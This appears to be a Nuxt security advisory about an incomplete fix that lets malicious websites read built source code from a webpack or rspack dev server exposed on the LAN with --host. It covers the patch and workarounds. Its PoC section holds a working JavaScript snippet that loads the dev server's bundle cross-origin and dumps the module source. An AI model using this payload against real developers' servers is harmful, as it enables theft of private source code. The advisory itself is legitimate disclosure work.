Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)
Summary
This is an incomplete fix for [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99). Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.
Details
The fix for [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99) relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because [these headers are sent by the browsers only for potentially trustworthy origins](https://w3c.github.io/webappsec-fetch-metadata/#sec-fetch-site-header:~:text=Site%20header%20for%20a%20request%20r%3A-,Assert%3A%20r%E2%80%99s%20url%20is%20a%20potentially%20trustworthy%20URL.,-Let%20header%20be%20a%20Structured%20Field%20whose), the check is able to bypass for non-potentially trustworthy origins.
Since the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using --host is affected.
PoC
1. Create a nuxt project with webpack / rspack builder.
1. Run npm run dev
1. Open http://localhost:3000
1. Run the script below in a web site that has a different origin.
1. You can see the source code output in the document and the devtools console.
```js
const script = document.createElement('script')
script.src = 'http://192.168.0.31:3000/_nuxt/app.js' // NOTE: replace with the IP address the dev server listens to
script.addEventListener('load', () => {
const key = Object.keys(window).find(k => k.startsWith("webpackChunk"))
for (const page in window[key]) {
const moduleList = window[key][page][1]
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
}
})
document.head.appendChild(script)
```
(This script is the similar with [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99) except for the script.src and the global variable name)
Impact
Users using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using --host.
This vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to [the local network access restriction feature](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).
Patches
Fixed in [email protected] and [email protected] by [#35051](https://github.com/nuxt/nuxt/pull/35051). The dev-middleware same-origin check now falls back to comparing the request's Origin / Referer host against Host when Sec-Fetch-* headers are absent, closing the non-trustworthy-origin bypass.
The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.
Workarounds
If you cannot upgrade immediately:
- Don't use
nuxt dev --host. Bind the dev server to localhost (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks. - Use Chrome 142+ or another Chromium-based browser that enforces [local network access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).
- Switch to the Vite builder for development.
